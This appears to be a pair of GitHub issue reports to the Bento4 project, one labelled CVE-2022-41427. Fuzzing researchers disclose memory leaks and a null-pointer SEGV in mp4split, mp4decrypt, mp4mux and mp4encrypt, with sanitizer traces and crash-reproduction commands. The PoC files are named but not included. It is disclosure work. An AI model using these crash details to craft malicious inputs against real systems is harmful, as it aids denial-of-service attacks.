These are some faults that maybe lead to serious consequences in mp4xx, the version of Bento4 is the latest (the newest master branch) and the operation system is Ubuntu 18.04.6 LTS (docker), these binary-crashes with the following.

**Bug1**

Detected memory leaks in mp4spilt:

    root@32345fj4sds:/fuzz-mp4split/mp4split# ./mp4split --video ../out/crashes/poc_split_1
    --video option specified, but no video track found
    
    =================================================================
    ==1889275==ERROR: LeakSanitizer: detected memory leaks
    
    Indirect leak of 592 byte(s) in 2 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x462e2f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462e2f)
        #3 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
        #4 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
    
    Indirect leak of 256 byte(s) in 1 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x45904a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45904a)
        #3 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #4 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
        #5 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
        #6 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
        #7 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
        #8 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 224 byte(s) in 7 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
        #3 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
        #4 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 192 byte(s) in 2 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #3 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
        #4 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
        #5 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
        #6 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
        #7 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 176 byte(s) in 2 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
        #3 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
        #4 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
        #5 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
        #6 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
                                                                                                   …… ……
    
    Indirect leak of 24 byte(s) in 1 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x4bdd4d in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4split/mp4split/mp4split+0x4bdd4d)
        #3 0x45831c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45831c)
        #4 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #5 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
        #6 0x48e726 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x48e726)
        #7 0x45dc8c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45dc8c)
        #8 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #9 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
        #10 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
    
    Indirect leak of 1 byte(s) in 1 object(s) allocated from:
        #0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x771319 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) (/fuzz-mp4split/mp4split/mp4split+0x771319)
        #3 0x539cf7 in AP4_InitialObjectDescriptor::AP4_InitialObjectDescriptor(AP4_ByteStream&, unsigned char, unsigned int, unsigned int) (/fuzz-mp4split/mp4split/mp4split+0x539cf7)
        #4 0x7713f7 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) (/fuzz-mp4split/mp4split/mp4split+0x7713f7)
        #5 0x4e9d46 in AP4_IodsAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4split/mp4split/mp4split+0x4e9d46)
        #6 0x4558fa in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x4558fa)
        #7 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
        #8 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
        #9 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
    
    SUMMARY: AddressSanitizer: 2750 byte(s) leaked in 39 allocation(s).
    
    

**Bug2**

SEGV on unknown address 0x000000000028 in mp4decrypt:

    root@23435332df4:/fuzz-mp4decrypt/mp4decrypt# ./mp4decrypt ../out/crashes/poc_decrypt_1 /dev/null
    WARNING: atom serialized to fewer bytes than declared size
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==2367709==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000028 (pc 0x0000005da294 bp 0x7ffcee6b84c0 sp 0x7ffcee6b6b60 T0)
    ==2367709==The signal is caused by a READ memory access.
    ==2367709==Hint: address points to the zero page.
        #0 0x5da294 in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5da294)
        #1 0x5f795d in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5f795d)
        #2 0x414e8b in main (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x414e8b)
        #3 0x7fdba0338c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
        #4 0x407b69 in _start (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x407b69)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5da294) in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&)
    ==2367709==ABORTING
    
    

**Bug3**

Detected memory leaks in mp4mux:

    root@wha446aq:/# ./Bento4/cmakebuild/mp4mux --track h264:poc_mp4mux_1 /dev/null
    ERROR: Feed() failed (-10)
    
    =================================================================
    ==17429==ERROR: LeakSanitizer: detected memory leaks
    
    Direct leak of 148 byte(s) in 1 object(s) allocated from:
        #0 0x4f5ce8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
        #1 0x52d6b2 in AP4_AvcFrameParser::Feed(unsigned char const*, unsigned int, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/Bento4/cmakebuild/mp4mux+0x52d6b2)
    
    SUMMARY: AddressSanitizer: 148 byte(s) leaked in 1 allocation(s).
    

**POC**

Bug\_1\_POC.zip  
Bug\_2\_POC.zip  
Bug\_3\_POC.zip

**Environment**

Ubuntu 18.04.6 LTS (docker)  
clang 12.0.1  
clang++ 12.0.1  
Bento4 master branch(5b7cc25) && Bento4 release version(1.6.0-639)

**Credit**

Xudong Cao (NCNIPC of China)  
Han Zheng (NCNIPC of China, Hexhive)  
Yuhang Huang (NCNIPC of China)  
Jiayuan Zhang (NCNIPC of China)

Thank you for your time!

CVE-2022-41427: Some vulnerabilities about mp4xx can cause serious errors · Issue #772 · axiomatic-systems/Bento4

Bento4 v1.6.0-639 was discovered to contain a memory leak via the AP4_Processor::Process function in the mp4encrypt binary.

**Summary**

Hi, developers of Bento4:  
I tested the binary mp4encrypt with my fuzzer, and a crash incurred, i.e., memory leaks error. The version of Bento4 is the latest (the newest master branch) and the operation system is Ubuntu 18.04.6 LTS (docker). The following is the details.

**Details**

    root@c08635047aea:/fuzz-mp4encrypt/mp4encrypt# ./mp4encrypt --method MARLIN-IPMP-ACBC ../out/crashes/id\:000007\,sig\:06\,src\:000001\,op\:flip1\,pos\:14136\,934837 /dev/null
    WARNING: track ID 1 will not be encrypted
    WARNING: atom serialized to fewer bytes than declared size
    
    =================================================================
    ==3055140==ERROR: LeakSanitizer: detected memory leaks
    
    Direct leak of 104 byte(s) in 1 object(s) allocated from:
        #0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
        #3 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
        #4 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 3328 byte(s) in 2 object(s) allocated from:
        #0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x5b2921 in AP4_MarlinIpmpEncryptingProcessor::Initialize(AP4_AtomParent&, AP4_ByteStream&, AP4_Processor::ProgressListener*) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x5b2921)
        #3 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
        #4 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
        #5 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 1024 byte(s) in 1 object(s) allocated from:
        #0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x8b62f9 in AP4_Expandable::Write(AP4_ByteStream&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x8b62f9)
        #3 0x5b2540 in AP4_MarlinIpmpEncryptingProcessor::Initialize(AP4_AtomParent&, AP4_ByteStream&, AP4_Processor::ProgressListener*) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x5b2540)
        #4 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
        #5 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
        #6 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    Indirect leak of 224 byte(s) in 5 object(s) allocated from:
        #0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
        #2 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
        #3 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
        #4 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    
    SUMMARY: AddressSanitizer: 4680 byte(s) leaked in 9 allocation(s).
    
    

**POC**

mp4encrypt\_poc1.zip

**Environment**

Ubuntu 18.04.6 LTS (docker)  
clang 12.0.1  
clang++ 12.0.1  
Bento4 master branch(5b7cc25) && Bento4 release version(1.6.0-639)

**Credit**

Xudong Cao (NCNIPC of China)  
Han Zheng (NCNIPC of China, Hexhive)

Thank you for your time!

Tag

#ssl